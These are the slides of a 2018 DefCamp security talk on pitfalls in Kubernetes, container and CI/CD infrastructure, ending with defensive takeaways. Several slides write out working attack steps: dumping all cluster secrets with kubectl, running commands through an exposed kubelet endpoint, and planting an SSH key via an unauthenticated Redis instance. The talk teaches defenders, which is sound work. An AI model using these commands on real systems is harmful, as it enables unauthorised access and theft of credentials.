Jesper Larsson in Bucharest, Romania on November 8-9th 2018 at DefCamp #9. The videos and other presentations can be found on https://def.camp/archive

1. $ Whoami
Jesper Larsson
jesper@assured.se - jesper@cure53.de
@herrJesper
https://www.linkedin.com/in/gustafjesperlarsson
I work as a Security Consultant for Assured and Cure53. (it´s complicated)
I do security research on embedded systems and infrastructure as well as penetration
testing, security reviews, architectural assessments.
“Professional provider of opinions” Those are my principles and if you don’t like them… Well I have more…
www.assured.se | www.cure53.de

2. Security pitfalls
in script-able infrastructure
DefCamp - 2018

3. $ Outline for this talk

4. 01.
Containers, Orchestrations
& Pipelines
”How is this even a talk about security, hold my beer!”.

5. $ Virtual Machines vs Containers
Host Operating system
Infrastructure
Hypervisor
Host Operating system
Infrastructure
Container Engine
Guest OS Guest OS Guest OS
Bins/Libs Bins/libs Bins/libs
App1 App2 App3
Bins/Libs Bins/libs Bins/libs
App1 App2 App3

6. $ Containers, Pods, Chroots, and what not

7. $ Continuous Everything!

8. $ The Playing field - Orchestrations, Pipelines
Secrets
Store
DevOps
Peeps
REPO
INFRA
AS
CODE CI / CD Container Orchestration Monitoring
Pipeline
=
Production
Environment
Commit
</>

9. $ Containers, Orchestrations & Pipelines

10. 02.
Any security challenges?”How does this even work! Insert a clever quote here “<img src = ”.

11. $ Attack Surface?

12. $ One compromise to rule them all
Secrets
Store
DevOps
Peeps
REPO
INFRA
AS
CODE CI / CD Container Orchestration Monitoring
Pipeline
=
Production
Environment
Commit
</>

13. $ Attack Surface
Managing Secrets
Vulnerability management
Configuration management
Firewalling, ACL, ingress/egress, Network and service
segmentation
Privilege management, Role based access controls
Unprotected endpoints, APIs, Services
Repository management
Patch management
Vulnerable sources
Onboarding and offboarding activities Continuous monitoring and auditing
Default Credentials
Security Settings Know Vulnerabilities
Faulty Verifications

14. 03.
Fails, Fails, Fails…”Finally time some destruction, chaos and suffering”.

17. UI
CLI
API
Kubernetes Master
API
Server
Scheduler Controller
etcd
$ Kubernetes infrastructure
Image Registry
Node 1
Node 2
Node 3
Node 4
Node 1, 2, 3, 4
Docker kubelet
kube
proxy
Flannel
Pod
Pod
Pod
Pod
Pod
Pod
Pod
Pod
Pod
Other services Network,DNS,MX,UI
Users

18. $ Security Concerns out of the box? A few...
API Authentication
API Authorization
TLS for API traffic
Role Base Authentication
Cloud metadata API Access
Access to kubectl
Access to etcd
Network ACL
Ingress and Egress
Encrypt Secrets at rest
ACL to Kubelets
Container privileges
Pod Security policies
Controlling capabilities in user runtime and of specific workloads
Rotation for infrastructure credentials
Restrict access to alpha and beta features
Image verification
Defense in depth
Pod and node separation
Monitoring

19. $ How bad was is if a etcd instance was breached?

20. $ etcd instances on the interwebz today

21. $ looking at the etcd service of kubernetes
J
J
J J
Lets have a look at the kcf.tar
The most epic function! ?recursive=true

22. $ Kubernetes etcd vs internet?

23. $ Kubernetes etcd vs internet?

24. $ Pivoting from pod to cluster administrator
curl -sLO "https://storage.googleapis.com/kubernetes-release/release/$(curl -s
https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl
&& chmod +x kubectl && mv kubectl /usr/local/bin"
kubectl get secrets –all-namespaces –o yaml
apiVersion: v1
items:
- apiVersion: v1
data:
site.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0t…

25. $ Kubelet command injection
curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter"
-d "cmd=ls -la /"
curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter"
-d "cmd=env"

26. $ kubectl command injection

29. $ Soo… No one would ever expose their Redis instance?

30. $ Using Redis-Cli to gain a SSH-session

31. $ Using Redis-Cli to gain a SSH-session
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > key.txt
“
AAAAB3NzaC1yc2EAAAADAQABAAABAQDMw97+kkv6cNlsPZDxQ/Dkxp7b7bfyj/SyvwyMmhEPe3u6TTcxh
AINyKM+FrOVMfCYxI95RecR8RtoUdHf8CcmaCJ7k8VMCSbyRe7bljpQx4T[...]
“

32. $ Using Redis-Cli to gain a SSH-session
cat key.txt | redis-cli –h 172.16.10.132 –x set woop
OK
redis-cli –h 172.16.10.132
172.16.10.132:6379> config set dir /Users/jeslar/.ssh/
OK
172.16.10.132:6379> config get dir
1) “dir”
2) ”/Users/jeslar/.ssh”
172.16.10.132:6379> config set dbfilename “authorized_keys”
OK
172.16.10.132:6379> save
OK

33. $ Using Redis-Cli to gain a SSH-session

34. • Ensure that that critical security features are enabled and configured correctly
• Use authentication and authorization for all API access. Especially management API
• Adopt the security model of least privileged
• Mange secrets
• Separate cluster for dev/test and production
• Account management, VPCs, Repos
• Zero-trust networking
• Access controls
• Security audits
$ Takeaways

35. Thanks for listening
@herrJesper
Follow me on twitter!

36. Shameless plug time!
www.securityfest.com
May 23rd-24th 2019
Gothenburg, Sweden